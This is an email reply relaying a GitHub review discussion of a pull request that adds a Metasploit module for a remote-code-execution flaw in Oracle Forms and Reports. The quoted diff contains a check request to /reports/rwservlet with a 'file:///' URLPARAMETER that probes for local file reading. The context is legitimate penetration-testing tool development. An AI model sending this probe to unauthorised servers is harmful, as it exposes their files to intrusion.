msfdev should be the correct e-mail. I’ll ask if other devs got it. Thanks.

From: Mekanismen <notifications@github.com<mailto:notifications@github.com>>
Reply-To: rapid7/metasploit-framework <reply@reply.github.com<mailto:reply@reply.github.com>>
Date: Monday, February 17, 2014 at 6:47 AM
To: rapid7/metasploit-framework <metasploit-framework@noreply.github.com<mailto:metasploit-framework@noreply.github.com>>
Cc: Wei Chen <wei_chen@rapid7.com<mailto:wei_chen@rapid7.com>>
Subject: Re: [metasploit-framework] added module for Oracle Forms and Reports (#2931)


In modules/exploits/multi/http/oracle_reports_rce.rb:

> +    end
> +
> +    res = send_request_cgi({
> +      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
> +      'method' => 'GET',
> +       'vars_get' => {
> +       'report' => 'test.rdf',
> +       'desformat' => 'html',
> +       'destype' => 'cache',
> +       'JOBTYPE' => 'rwurl',
> +       'URLPARAMETER' => 'file:///'
> +       }
> +      })
> +
> +    if res and res.code == 200 and res.body.downcase.exclude?("<html>")
> +        print_good "#{peer} - URLPARAMETER is vulnerable"


Ah, I'll sort out the check function.

I mailed the pcaps to msfdev@metasploit.com<mailto:msfdev@metasploit.com>, what is the correct mail then?

—
Reply to this email directly or view it on GitHub<https://github.com/rapid7/metasploit-framework/pull/2931/files#r9790461>.
This electronic message contains information which may be confidential or privileged. The information is intended for the use of the individual or entity named above. If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this information is prohibited. If you have received this electronic transmission in error, please notify us by e-mail at (postmaster@rapid7.com) immediately.